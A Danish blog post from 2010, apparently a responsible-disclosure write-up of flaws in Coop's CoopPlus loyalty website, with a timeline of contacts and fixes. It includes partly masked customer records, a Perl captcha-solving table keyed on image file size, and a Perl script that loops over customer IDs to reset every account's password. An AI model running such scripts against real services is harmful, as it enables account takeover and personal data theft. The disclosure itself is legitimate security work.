CoopPlus og sikkerheden

Sikkerheden var IKKE i orden ved logind paa CoopPlus.dk

CoopPlus

CoopPlus er FDBs nye bonus program hvor folk kan spare point op, til dettet formaal er deres kunder blevet udstyre med et plastickort som bliver scannede ved handlen.

Kunde nummer og password

Kunderne har faaet tilsendt deres kort, kundenummer og kode til brug ved registereing.
Kundenummeret bestaar af 8 tegn
Normalt naar man laver den slags vil der ikke vaeret noget forhold mellem kudnenummer og password.

MEN, Coop arbejeder ikke saadan
Hvis man har faaet kunde nummer 734801 og personlige kode 968949, saa kan man tilgaa kundenummerne foer og efter en blot ved at -/+1 til de to nummer.

Hvad kan vi saa bruge det til?
Hvis Kunden endnu ikke har vaeret logget ind, kommer vi igennem opsatnings system, forsaetter vi gennem det, faar vi adgang til foeldge data

  • Kundenummer
  • navn
  • foeseldag
  • regiseret address
  • telefon nummer
  • Hvilken butik de er oprettet i

Dette er data som i forvejen er i systemet, ikke noget som vi skal angive under registering

nr      kode    navn                    dato
734809  968957  L**** P******           22-jul-1947
734810  968958  J*** N******            13-jan-1947
734811  968959  F*** H******** B***     20-apr-1959
734812  968960
743813  977961
Alt i alt, en masse dejlige data som kan bruges til social engineering, naar man ringer til gamle fru hansen og udgiver sig fra at vaere fra den lokale coop butik.
Det er muligt at det viste eksemple her kun er gyldig for en mindre del nummer, evt er initial koden per batch koersel. Coop har 1.7mil medlemmer saa de breve bliver ikke sendt ud paa engang, og det er kun dem som der er sendt brev til det virker hos. Men har man faaet et brev fra coop, med egen nr og kode har man den initial kode for ens egen batch koersel.

update info om politiken omkring aktivering af kortet(http://newz.dk/coops-hjemmeside-aabent-hus-for-crackere#50)


Reset password og captcha

Men den slags sider kraever jo ogsaa en mulighed for folk kan reset deres password
Saadan en har coopplus ogsaa, http://www.coopplus.dk/glemtadgangskode.aspx
Her har man saa valgt at bruge en hjemmelavet captcha, som bestaar af smaa regnestykker x + y hvor x,y er 1 til 8 , hvilken resultere i maximalt 15 mulige loesninger.

Captcha billede bliver generet via
http://www.coopplus.dk/Library/UserControls/Captcha.aspx?regenerate=0&textdistortion=8&backgroundcolors=be0b1d&gradientbackgroundcolors=841418,3e3e40&textcolors=f4f4f5&bordercolors=ffffff&gridcolors=000000&fontname=Verdana&fontsize=16&smoothingmode=HighQuality&fontstyle=Bold&width=130&height=28&hideonsuccess=0
som et jpeg billede.
MEN da der bliver tilfoejet for lidt tilfoeldig stoej til det billede kan vi ud fra filestoerrelse paa dettet billede, komme med et kvalificeret gaet paa hvad det for et regnestykke, og saaledes ogsaa komme med loesning paa det.

Hvilket foelgende perl kode viser

my %captcha_sizes=(
"1994",2,"1991",2,"2058",2,
"1999",3,"2072",3,"2063",3,
"2125",4,"2016",4,"2140",4,
"2149",5,"2028",5,"2120",5,"2147",5,"2232",5,"2104",5,"2220",5,
"2118",6,"2098",6,"2115",6,"2167",6,"2179",6,"2171",6,
"2274",7,"2203",7,"2280",7,"2275",7,"2136",7,"2282",7,"2187",7,"2195",7,"2221",7,
"2202",8,"2186",8,"2284",8,"2331",8,"2202",8,"xxxx",8,"2183",8,"2201",8,"2276",8,
"2284",9,"2068",9,"2352",9,"2369",9,"2286",9,"2269",9,"2154",9,"2275",9,"2069",9,"2261",9,"2190",9,
"2226",10,"2252",10,"2331",10,"2293",10,"2431",10,"2214",10,"2200",10,"2123",10,"2141",10,
"2226",11,"2336",11,"2302",11,"2427",11,"2330",11,"2318",11,"2314",11,"2312",11,
"2277",12,"2354",12,"2502",12,"2242",12,"2327",12,"2264",12,"2243",12,"2370",12,
"2326",13,"2299",13,"2403",13,"2417",13,"2422",13,"2301",13,"2306",13,
"2373",14,"2481",14,"2283",14,"2352",14,"2467",14,"2196",14,
"2256",15,"2230",15,
"2299",16);

while (( my $key,my $value) = each(%captcha_sizes)){
 if ( $key == $filesize) {
	$solution = $value;
	 print "captcha solution: ".$value."\n";
	  }
}
Men behoeves vi at goere alt dette? Nej, fordi hele deres system paa den side er ligeglad med hvad man svare, saa 1+4 = 200, og maskinen i den anden ende siger rigtig, og reseter passwordet. Pentium med regnefejl maaske ?

Men hov? sagde du den resettet password for en vilkoerlige bruger blot man giver den et kundenummer og svare forket paa et regnestykke ?

:) Update fredag 25 juni Captcha koden er rettet nu saa man skal svare rigtig , men man kan stadigvaek finden svaret via filesize.
Update fredag 25 juni Nu er der blevet skifted til en bedre captcha
en zip pakke med de gamle captcha billeder

Naar passwordet saa er reset sender systemet en email til den registeret email address... Eller hvis der ikke er nogen email address, saa kommer det med posten, saa her er en mulighed for at gribe postdanmark under armene og give dem lidt at lave.

Systemet reset password til et af foelgende format:
X stort bogstav A-Z
x lille bogstav a-z
Y tal 0-9

Xxxxyy
Reset alle password
#/usr/bin/perl -w
# needs firefox
# with mozrepl http://wiki.github.com/bard/mozrepl/
use strict;
use WWW::Mechanize::Firefox;
use HTML::TokeParser;
use HTTP::Cookies;

my $solution = 200;
my $id = 0;
my $agent = WWW::Mechanize::Firefox->new();
my $baseurl = "http://www.coopplus.dk/glemtadgangskode.aspx";
$agent->allow( javascript => 1);
$agent->allow( images => 1);
#$agent->addTab( autoclose => 0);
for ( $id = 1 ; $id < 44444444; $id++){
 $agent->get( $baseurl );
 my @errors = $agent->js_errors();
 if ( @errors ) {
	# die "found errors on page: @errors";
 }
    $agent->form_id("aspnetForm");
    $agent->set_visible( $id, $solution);
    $agent->click();
}


Manglende information om datatab

Desvaere har vi i danmark ingen love som siger at coop skal staa frem og fortaelle om deres datatab, Datatilsynet er ogsaa at den opfattelse at dette ikke er noget problem.
Men grundet den dilettantiske opbygning af deres system, kan det paa ingen maade udelukkes at jeg er den eneste som er faldet over dette hul.
Saa jeg kan kun anbefale at folk som er medlemmere, tager kontakt til coop og udbedere sig infomation om deres profile eventelt skulle havde vaeret tilgaet af uvedkomende og om deres data er sikker.


Forloeb

03/06-2010 Kontrakt til Coop, datatilsynet, version2
23/06-2010 teknyt skriver om det, comon.dk kontakted
24/06-2010 datatilsynet kan ikke se problemet, newz.dk skriver om det, og link bliver posted her til.
25/06-2010 glemtpassword delen bliver rettet saa chatcha bliver brugt
25/06-2010 Captcha bliver opdateret til en som langt bedre
25/06-2010 FDB skriver om det paa deres side De har en lidt alternativ opfattelse af tingene.
28/06-2010 version2 har artikle med komentar fra coop, link til artiklen modsat deres tidliger kommentar(se link ovenfor) erkender de nu at der var et problem.


email: rachael7 at sdf.lonestar.org